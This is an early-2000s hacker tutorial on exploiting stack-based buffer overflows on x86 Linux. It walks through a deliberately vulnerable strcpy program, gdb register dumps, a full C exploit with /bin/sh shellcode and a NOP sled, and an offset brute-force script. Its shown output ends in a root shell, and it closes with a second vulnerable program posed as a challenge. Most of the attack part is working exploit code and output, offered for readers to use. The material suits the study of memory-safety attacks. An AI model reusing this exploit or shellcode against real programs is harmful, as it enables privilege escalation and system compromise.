Exploitation of Stack Based buffer overflows - By The Itch / BsE --------------------------------------- Lately i encountered more and more articles explaining stack based buffer overflows, and after reading some, i decided to learn too how they work. The stuff i explain in this article are stack based buffer overflows on the x86 architectures. Ofcourse, a basic knowledge of C is required and a minimum knowlegde of assembly language also. I have learned exploitation of stack based buffer overflows from the articles of Aleph1 and mixter, furthermore WildCoyote was always willing to answer my questions. Requirements: 1. intel/x86 machine running a flavor of linux. 2. root on that machine, or enable core dumping (ulimit -c unlimited). 3. pico (or any other text editor). 4. gdb (a very handy debugger). Best to begin with, are some basic examples in C. <-------vuln1.c--------------------------- /* Example program * Its vulnerability is in the use of the strcpy() function * * Coded by The Itch / BsE * root@bse.die.ms * http://bse.die.ms */ #include #include #include int main(int argc, char *argv[]) { char buffer[30]; if(argc < 2) { printf("strcpy() NOT executed....\n"); printf("Syntax: %s \n", argv[0]); exit(0); } strcpy(buffer, argv[1]); printf("buffer = %s\n", buffer); printf("strcpy() executed...\n"); return 0; } /* Remember, there is no cure for BsE */ <-------vuln1.c--------------------------- The function strcpy() does not check its boundaries, that means that it doesnt check if argv[1] fits into buffer, and just keeps on copying into buffer until it encounters a NULL string (\0). Lets run the program. [root@daveli whiz]# gcc vuln1.c -o vuln1 [root@daveli whiz]# ./vuln1 1234567890 buffer = 1234567890 strcpy() executed... [root@daveli whiz]# No problems yet, because 1234567890 easily fits into a 30 byte buffer. (1234567890 = only 10 bytes). The buffer works like this: [#####################] [ebp] [eip] [#####################] = the buffer(size) [ebp] = the stack frame pointer [eip] = the instruction pointer (the return address) The Stack Pointer, also known as the ESP registers points to the top of the stack (wich is dynamical). The bottom of the stack is always located at a fixed address. The stack grows downwards. Later on i will explain why the Stack Pointer is intresting for us. The Stack Frame Pointer. The register EBP is used on intel CPU's to store the Stack Frame Pointer (sometimes called the Base Pointer). The first thing a procedure needs to do when its called is saving the Stack Frame Pointer. After that the Stack Pointer (ESP) will be copied into the Stack Frame pointer (EBP) and it creates with those values the new Stack Frame pointer (EBP). The Frame Pointer is used to store the locations of the local varabiales used in that particular function. The Instruction Pointer. The Register EIP, also known as the return address. As soon as the strcpy() function is called, it wil save the Instruction Pointer(EIP) onto the stack. The saved EIP will become the return address of the strcpy() function. The Instruction Pointer points to the next instruction the processor should execute. (If we can overwrite that one, it is possible to execute our own code). [note] Memory works in multiples of 4. In our example program we define for char buffer[30]; (30 bytes) but, because memory works in multiples of 4, the memory actually reservers 32 bytes for char buffer[30]; But lets continue with our program, we defined to buffer 30 bytes, so lets test it: [root@daveli whiz]# ./vuln1 123456789012345678901234567890 buffer = 123456789012345678901234567890 strcpy() executed... [root@daveli whiz]# Works perfect. But actually there are 32 bytes reservered for buffer, so lets test it again. [root@daveli whiz]# ./vuln1 12345678901234567890123456789012 buffer = 12345678901234567890123456789012 strcpy() executed... [root@daveli whiz]# Look, thats still possible. [root@daveli whiz]# ./vuln1 12345678901234567890123456789012AAAA buffer = 12345678901234567890123456789012AAAA strcpy() executed... Segmentation fault (core dumped) [root@daveli whiz]# Ok, that didnt work anymore. I used A because that is in hexadecimal 0x41. (You see 0x41 easier when you debug your program). And i used 4 A's because the memory works in multiples of 4. Lets examine what exactly happend. According to our above theory, only the Frame Pointer (EBP) is overwritten, and not yet the EIP register (the return address, what we really want to overwrite). [root@daveli whiz]# gdb ./vuln1 core GNU gdb 19991116 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux"... Core was generated by `./vuln1 12345678901234567890123456789012AAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x40031902 in __libc_start_main (main=Cannot access memory at address 0x41414149 ) at ../sysdeps/generic/libc-start.c:55 55 .. sysdeps/generic/libc-start.c: No such file or directory. (gdb) info registers eax 0x0 0 ecx 0x40014000 1073823744 edx 0x0 0 ebx 0x400fa120 1074766112 esp 0xbffff9f4 0xbffff9f4 ebp 0x41414141 0x41414141 esi 0x40012eb0 1073819312 edi 0x400ea533 1074701619 eip 0x40031902 0x40031902 eflags 0x10246 66118 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x0 0 fs 0x2b 43 gs 0x2b 43 fctrl 0x0 0 fstat 0x0 0 ftag 0x0 0 fiseg 0x0 0 fioff 0x0 0 ---Type to continue, or q to quit--- foseg 0x0 0 fooff 0x0 0 fop 0x0 0 (gdb) Aha, you can clearly see the register EBP is overwritten with 0x41414141 Good, but what we really want is to get EIP overwritten, so that we can execute our own code. Lets start our example program one more time, but we add another 4 A's to the command line. [root@daveli whiz]# ./vuln1 12345678901234567890123456789012AAAAAAAA buffer = 12345678901234567890123456789012AAAAAAAA strcpy() executed... Segmentation fault (core dumped) Lets start up gdb again. [root@daveli whiz]# gdb ./vuln1 core GNU gdb 19991116 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-mandrake-linux"... Core was generated by `./vuln1 12345678901234567890123456789012AAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. #0 0x41414141 in ?? () (gdb) info registers eax 0x0 0 ecx 0x40014000 1073823744 edx 0x0 0 ebx 0x400fa120 1074766112 esp 0xbffff884 0xbffff884 ebp 0x41414141 0x41414141 esi 0x40012eb0 1073819312 edi 0x400ea533 1074701619 eip 0x41414141 0x41414141 eflags 0x10246 66118 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 fctrl 0x0 0 fstat 0x0 0 ftag 0x0 0 fiseg 0x0 0 fioff 0x0 0 ---Type to continue, or q to quit--- foseg 0x0 0 fooff 0x0 0 fop 0x0 0 (gdb) And look, EIP is also overwritten with 4 A's (0x41414141) This means that we can jump to any address in the stack. (given that it is in our process space or else we will get a segmentation violation). Now its time to write an exploit! (to make it a little bit easier, i increase the buffer of our vulnerable program from 30 bytes to 128 bytes. You should do this also or else the following instructions will fail. This is because our shellcode is approxamitly 30 a 40 bytes big. (Else it would be to much trouble fitting our shellcode into the buffer). The following exploit code is mainly taken from Aleph1's article, but this is just general exploit code that is usable in 99% of the cases. Comments on every line is from me. <---------expl1.c------------------------------------ /* Exploit for vuln1.c according to my article * about stack based buffer overflows * * The Itch / BsE * root@bse.die.ms * http://bse.die.ms */ #include #include /* Here we define how much bytes off our shellcode is from ESP */ #define DEFAULT_OFFSET 0 /* Here we define how big our buffer must be. The optimal thing to do * is to use 100 bytes more then the buffer you are trying to overflow. * This is because this is the total size of our shellcode, nops and * return address. */ #define DEFAULT_BUFFER_SIZE 228 /* NOP means No OPeration, if this code is executed, there wont happen * anything and the program just continues to execute, later on you will * see why this is very handy */ #define NOP 0x90 /* this function determines the current ESP register */ unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } /* These are assembler instructions to start a shell, we set this code * into the memory, and overwrite the original return address with the * return address pointing to this shellcode, so that our shell gets * started. The only thing that this code does is executing /bin/sh * (below asm instructions are just a execve() call of /bin/sh) */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main(int argc, char *argv[]) { /* define our exploit buffer */ char *buff; /* define our pointer */ char *ptr; /* our address pointer, where we will put in our * return address */ long *addr_ptr; long addr; /* our return address */ /* how many bytes different is our return address from ESP ? */ int offset = DEFAULT_OFFSET; /* our buffersize */ int bsize = DEFAULT_BUFFER_SIZE; /* the integer we use for our for loops */ int i; /* Our start arguments for our exploit can be: * ./expl1 buffersize offset * if the exploit is started with ./expl1 buffersize * then use that buffersize instead of the one that * we define with #define DEFAULT_BUFFER_SIZE */ if(argc > 1) { bsize = atoi(argv[1]); } /* same as above, but with the offset */ if(argc > 2) { offset = atoi(argv[2]); } /* check if there is enough available memory for our buffer */ if(!(buff = malloc(bsize))) { printf("Unable to allocate memory.\n"); exit(0); } /* The return address of our shellcode, calculated by the stack * pointer minus our offset (because the stack grows downwards, it * has to be minus). In a lot of cases the current stackpointer is * also the return address, or it only lies a few bytes of it. */ addr = get_sp() - offset; printf("exploit for vuln1\n\n"); printf("Coded by The Itch / BsE\n"); printf("Using return address: 0x%x\n", addr); printf("stack pointer: 0x%x\n", get_sp()); printf("Using buffersize: %d\n", bsize); ptr = buff; addr_ptr = (long *) ptr; /* Here we fill our buffer with the return address from our buffer */ for(i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr; } /* After that we fill the first half of our buffer with NOP's */ for(i = 0; i < bsize / 2; i++) { buff[i] = NOP; } /* Put ptr(the pointer) on the second part of our buffer, and * reserve length for our shellcode and put half of it in the * first half of our buffer */ ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); /* Put our shellcode in the first half of our buffer */ for(i = 0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } /* ending null string for strcpy() (so that it stops with * copying things from argv[1] into the buffer[]) */ buff[bsize - 1] = '\0'; /* put in front of buff[] the word EGG= */ memcpy(buff, "EGG=", 4); /* And place buff after that into the enviroment */ putenv(buff); /* execute our vulnerable program */ system("./vuln1 $EGG"); return 0; } /* Remember, there is no cure for BsE */ <-------expl1.c------------------------------------ What we exactly did is this: The buffer that we want to overflow is 128 bytes big. (The following examples are not on scale, because it wouldn't fit in the article). The shellcode is approxamitly 30 a 40 bytes big (count it out yourself) so, for our convience, lets say our shellcode is 35 bytes big. So our number of nops would be: (228/2) - (35/2) = 96 NOPS. After that there will 35 / 2 bytes of shellcode into it (so 96 + (35/2)). And after that we will fill out our buffer with the return address, so we could also define 128+8 bytes as our buffer. (But take not that in that case there wouldnt be 96 NOPs, but ((128+8)/2) - (35/2) number of NOP's But, if you do it that way, you would have less chance to find the right offset for our return address. So we take a big number of NOP's, the more chance we find a useable return address. But take note that you dont take to MUCH NOP's, because you will be risking of overwriting EIP with either NOP's or your shellcode instead of your return address. # = original buffer N = NOP S = Shellcode R = return address of our shellcode The original buffer will look like this: [##########################################################] [EBP] [EIP] After our exploit, it will look like this: [NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSSSSSSSSRRRRRRRRRRRRRRRRRR] [RRR] [RRR] As you can see, EBP and EIP are overwritten with the return address of our shellcode and NOP's. We hope that our return address points either in the NOP's or at beginning of our buffer. This is also the reason that i use NOP's in my exploit, because if i wouldnt use NOP's, it would look like this: Original buffer: [##########################################################] [EBP] [EIP] Buffer after our exploit without using NOP's: [RRRRRRRRRRRRRRRRRRRRRRRRSSSSSSSSSSSSSSSSSSSSSRRRRRRRRRRRRR] [RRR] [RRR] In this case, we have only one valid return address, and that is the one of the beginning of the shellcode, if we would start even one byte less or more, then program that we will try to exploit will segfault. That is because the return address is a pointer and is not used for execution. Well, lets just start testing. Je can, to avoid annoying beeps, just remove in vuln1.c the part printf("buffer = %s\n", buffer); and recompile. (This is ofcourse not necassery, but when you will start bruteforcing offsets, its very handy). [root@daveli whiz]# gcc vuln1.c -o vuln1 [root@daveli whiz]# gcc expl1.c -o expl1 [root@daveli whiz]# ./expl1 exploit for vuln1 Coded by The Itch / BsE Using return address: 0xbffff9f4 stack pointer: 0xbffff9f4 Using buffersize: 228 strcpy() executed... [root@daveli whiz]# hmm, bad luck, as you can see the stack pointer (ESP) wasnt our exact return address what we needed. So that will probably come down to bruteforcing. But let us first just try some combinations. (ALWAYS try positive and negative offsets!!) root@daveli whiz]# ./expl1 228 10 exploit for vuln1 Coded by The Itch / BsE Using return address: 0xbffff9f2 stack pointer: 0xbffff9f4 Using buffersize: 228 strcpy() executed... [root@daveli whiz]# hmm too bad, nothing again .... [root@daveli whiz]# ./expl1 228 20 exploit for vuln1 Coded by The Itch / BsE Using return address: 0xbffff9e8 stack pointer: 0xbffff9f4 Using buffersize: 228 strcpy() executed... [root@daveli whiz]# And again nothing, now lets try a negative offset. [root@daveli whiz]# ./expl1 228 -5 exploit for vuln1 Coded by The Itch / BsE Using return address: 0xbffffa01 stack pointer: 0xbffff9f4 Using buffersize: 228 strcpy() executed... sh-2.03# BAMM, jackpot!! Our return address was 5 bytes more of the stack pointer. I say off, and not less, because the stack grows downwards. Alas, this is not the same on every computer, so it could be that in your case the offset of -5 bytes doesnt work. (in my case the return address of the shellcode lies around the address: 0xbffffa00). In some rare cases, your offset can be 1000 bytes or more off from the stack pointer. In those cases it is needed to bruteforce your right offset. That goes as follows: <------offsetbruteforce.sh---------------- #!/bin/sh OFFSET=1 while test $OFFSET -lt 10000 do ./expl1 228 $OFFSET OFFSET=`expr $OFFSET + 1` done <-----offsetbruteforce.sh---------------- If you didnt get a sh-2.03# shell like me, it is time for you to bruteforce ;) Just run ./offsetbruteforce.sh and have some patience. If, after a while you still dont get a shell, edit then expl1.c (your exploit) and change addr = getsp() - offset; into: addr = getsp() + offset; and recompile your exploit and rerun offsetbruteforce.sh. If you want to exploit programs from other people, you have to look for functions that dont do bounds checking like strcpy(), but strcat(), sprintf(), vsprintf(), gets() also dont do bounds checking. In my next article i will try to explain how we exploit programs that have a too small buffer to place shellcode in. But for now, it has been enough. I think you can spent some time on this article to figure out more yourself. And, if you think you know how stack based buffer overflows work, I challenge you to exploit the next program successfully. ps: for more shellcode see: http://bse.die.ms/~itchie/stuff/exploits/shellcode.h <---------------vuln2.c----------------------- /* vuln2.c for my article about stack based buffer overflows * exploit this one yourself successfull! ;-) * * Coded by The Itch / BsE * root@bse.die.ms * http://bse.die.ms */ #include #include #include int main(int argc, char *argv[]) { char buffer[512]; char *buf2; if(argc < 2) { printf("syntax: %s \n\n", argv[0]); exit(0); } if(getenv("TEST") == 0) { printf("error, no enviromental string found!\n"); printf("Aborting program...\n\n"); exit(0); } buf2 = getenv("TEST"); strcpy(buffer, buf2); printf("Using enviromental string: %s\n", buf2); return 0; } /* Remember, there is no cure for BsE */ <------------vuln2.c------------------ greetings, The_Itch root@bse.die.ms http://bse.die.ms